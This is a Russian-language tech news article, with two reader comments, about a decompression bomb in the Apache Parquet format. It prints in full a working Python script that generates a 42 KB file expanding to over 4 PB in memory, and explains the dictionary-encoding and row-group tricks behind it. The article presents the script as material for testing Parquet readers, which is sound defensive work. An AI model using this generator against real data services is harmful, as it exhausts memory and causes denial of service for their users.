Давние хаброжители помнят, как в 2015 году ZIP-бомба в формате PNG ненадолго вывела из строя Habrastorage. С тех пор появились новые разновидности этого «оружия»: например, разработаны нерекурсивные и компиляторные бомбы (29 байт кода → 16 ГБ .exe).

Подобного рода экспоиты можно встроить не только в формат ZIP или PNG, но и в других форматы файлов, которые поддерживают сжатие. Например, в формате Apache Parquet.

Напомним, что исторически ZIP-бомба (файловая бомба или архив смерти) представляла собой архивный файл, при распаковке которого можно вызвать зависание операционной системы или рабочего приложения путём заполнения всего свободного места на носителе или оперативной/рабочей памяти. В этом смысле её можно считать разновидностью DoS-атаки.

Первая задокументированная zip-бомба появилась в 1996 году. Самым известным примером является файл 42.zip размером 42 килобайта. Если начать его распаковку, то процесс будет идти до тех пор, пока набор данных не достигнет верхнего предела распаковки в 4,3 гигабайта. При этом процесс займет более 4,5 петабайт в оперативной памяти (4 503 599 626 321 920 байт).

Прогресс не стоит на месте. Недавно один из основных разработчиков СУБД DuckDB, профессор д-р Ханнес Мюхляйзен (Hannes Mühleisen) опубликовал описание нового типа ZIP-бомбы для формата файлов Apache Parquet.

Apache Parquet — свободный формат хранения данных в колончатой БД типа Apache Hadoop. Он похож на RCFile, ORC и другие форматы колоночного хранения файлов в Hadoop, совместим с большинством фреймворков обработки данных в Hadoop. Формат обеспечивает эффективное сжатие и кодирование с повышенной производительностью для обработки сложных данных в больших объёмах. Именно функцию эффективного сжатия в данном случае и эксплуатирует «злоумышленник».

Как и в эталонном примере с архивом ZIP, здесь создаётся файл 42.parquet размером 42 килобайта, который разворачивается в большой массив данных:

  • 622 триллиона значений (а именно 622 770 257 630 000);
  • более 4 петабайт в памяти.

Мюхляйзен опубликовал скрипт для генерации такого файла:

Скрипт
import sys
import leb128

import thrift.transport.TTransport
import thrift.protocol.TCompactProtocol

def thrift_to_bytes(thrift_object):
	transport = thrift.transport.TTransport.TMemoryBuffer()
	protocol = thrift.protocol.TCompactProtocol.TCompactProtocol(transport)
	thrift_object.write(protocol)
	return transport.getvalue()

# parquet-specific
sys.path.append('gen-py')
from parquet.ttypes import *

schema = [
	SchemaElement(name = "r", num_children = 1, repetition_type = FieldRepetitionType.REQUIRED), 
	SchemaElement(type = Type.INT64, name = "b", num_children = 0, repetition_type = FieldRepetitionType.REQUIRED)
]
schema[0].validate()
schema[1].validate()

out = open('42.parquet', 'wb')
out.write('PAR1'.encode())

col_start = out.tell()
dictionary_offset = out.tell()

# we write a single-value dictionary with int64-max in it

page_header_1 = PageHeader(type = PageType.DICTIONARY_PAGE, uncompressed_page_size = 8, compressed_page_size = 8,  dictionary_page_header = DictionaryPageHeader(num_values = 1, encoding = Encoding.PLAIN))
page_header_1.validate()
page_header_1.dictionary_page_header.validate()

page_header_1_bytes = thrift_to_bytes(page_header_1)
out.write(page_header_1_bytes)
out.write((9_223_372_036_854_775_807).to_bytes(8, byteorder='little'))

data_offset = out.tell()

# and now we refer to this single entry a gazillion times
page_repeat = 1000
row_group_repeat = 290
page_values = 2_147_483_647 # max int, we can't fit more in a page

data_page_content = bytearray([1]) + leb128.u.encode(page_values << 1) + bytearray([0])

page_header_2 = PageHeader(type = PageType.DATA_PAGE, uncompressed_page_size = len(data_page_content), compressed_page_size = len(data_page_content),  data_page_header = DataPageHeader(num_values = page_values, encoding = Encoding.RLE_DICTIONARY, definition_level_encoding = Encoding.PLAIN, repetition_level_encoding = Encoding.PLAIN))
page_header_2.data_page_header.validate()
page_header_2.validate()

page_header_2_bytes = thrift_to_bytes(page_header_2)

page_bytes = page_header_2_bytes + data_page_content


for i in range(page_repeat):
	out.write(page_bytes)

column_bytes = out.tell() - col_start

meta_data = ColumnMetaData(type = Type.INT64, encodings = [Encoding.RLE_DICTIONARY], path_in_schema=["b"], codec = CompressionCodec.UNCOMPRESSED, num_values = page_values * page_repeat, total_uncompressed_size = column_bytes, total_compressed_size = column_bytes, data_page_offset = data_offset, dictionary_page_offset = dictionary_offset)
meta_data.validate()
column = ColumnChunk(file_offset = data_offset, meta_data = meta_data)
column.validate()

num_values_per_rowgroup = page_values * page_repeat
num_values = num_values_per_rowgroup * row_group_repeat

row_group = RowGroup(num_rows = num_values_per_rowgroup, total_byte_size = column_bytes, columns = [column])

row_group.validate()

file_meta_data = FileMetaData(version = 1, num_rows = num_values, schema=schema, row_groups = [row_group] * row_group_repeat)
file_meta_data.validate()

footer_bytes = thrift_to_bytes(file_meta_data)
out.write(footer_bytes)
out.write(len(footer_bytes).to_bytes(4, byteorder='little'))
out.write('PAR1'.encode())

Скрипт может быть полезен для тестирования ридеров Parquet, которые должны проводить соответствующую проверку и не допускать разворачивания подобных архивов в памяти. Нужно заметить, что Parquet считается стандартом в своей области. Чтение и запись в этом формате поддерживает большинство современных инструментов и сервисов для обработки данных.

В DuckDB тоже есть собственные средства чтения и записи файлов Parquet.

Структура файла 42.parquet


Файл Parquet состоит из одной или нескольких групп строк и столбцов. Там находятся страницы с фактическими данными в закодированном формате. Среди прочего Parquet поддерживает сжатие со словарём (dictionary encoding), при которой сначала идёт страница со словарём, а затем страницы данных, которые ссылаются на словарь. Это эффективно для столбцов с длинными часто повторяющимися значениями, такими как категориальные строки (данные из ограниченного набора категорий).

Соответственно, можно создать словарь с одним значением и многократно обращаться к нему. В данном примере профессор использовал одно 64-битное целое число, самое большое из возможных значений. Затем поставил ссылки на эту словарную статью, используя кодирование длин серий RLE_DICTIONARY в Parquet. Выбранная кодировка RLE-3 немного странная, потому что сочетает упаковку битов и кодирование длин серий, но по сути можно использовать самую большую возможную длину серии 231−1, чуть больше двух миллиардов.

Поскольку словарь крошечный (одна запись), повторяющееся значение 0 ссылается на единственную запись. Включая необходимые заголовки и нижние колонтитулы метаданных (как и все метаданные в Parquet, они кодируются с помощью Thrift), размер файла составляет всего 133 байта.

Колонки могут содержать несколько страниц, которые ссылаются на один и тот же словарь. Таким образом, если многократно повторять страницу данных, то в файл добавляется по 31 байту, а в таблицу — по 2 млрд значений.

Чтобы увеличить размер данных, используется и другой трюк. Как уже упоминалось, файлы Parquet содержат одну или несколько групп строк, которые хранятся в колонтитуле Thrift в конце файла. Для каждого столбца указаны байтовые смещения (data_page_offset и др.) в файле, где хранятся страницы. Ничто не мешает добавить несколько групп строк, которые все ссылаются на одно и то же байтовое смещение, то есть на то, где хранятся словарь и данные. Каждая добавленная группа строк логически повторяет все страницы. Конечно, добавление групп рядов также требует хранения метаданных, поэтому существует некий компромисс между добавлением страниц (2 млрд значений) и групп строк (вдвое больше, чем другая группа строк, которую дублирует эта).

Проверка при чтении


С учётом новой информации, файлы .parquet следует обрабатывать с теми же мерами предосторожности, что и другие потенциально опасные файлы, такие как .exe, .zip и .png.

Проверка при парсинге файлов .parquet проводится в любом случае: ведь они могут быть повреждены. Но как выяснилось, опасность представляет даже полностью валидный файл.

Комментарии (2)


  1. Wolf4D
    08.12.2024 19:55

    Интересно, а механизм серверного gzip-сжатия случайно не содержит уязвимостей для zip-бомб? Сервер отправляет клиенту пожатую gzip фейковую страницу, браузер клиента её получает и пытается... пытается... пытается... и падает с OOM, вероятно :)


  1. YaMishar
    08.12.2024 19:55

    Лет 15 назад столкнулся с похожей проблемой в MS SQL. на проде у нас создавались ежедневные бекапы - с включённой компрессией. И вот я взял последний, притащил на сендбокс и начал разворачивать. Через пару часов он положил весь сервер. Оказалось, что он во-первых, он создал базу на всё свободное пространство (ну что-то типа 1.5ТБ). при том, что изначальная база была в 20ГБ, не больше. Во-вторых, SQL сервер при восстановлении нагрузил сервер на все 100%.
    Затем я сделал бекап без компрессии и он восстановился нормально. Проблема продлилась пару дней, а потом пропала. То есть те самые бекапы смерти остались, но новые бекапы даже со сжатием работали нормально. Что это было - мы так и не поняли.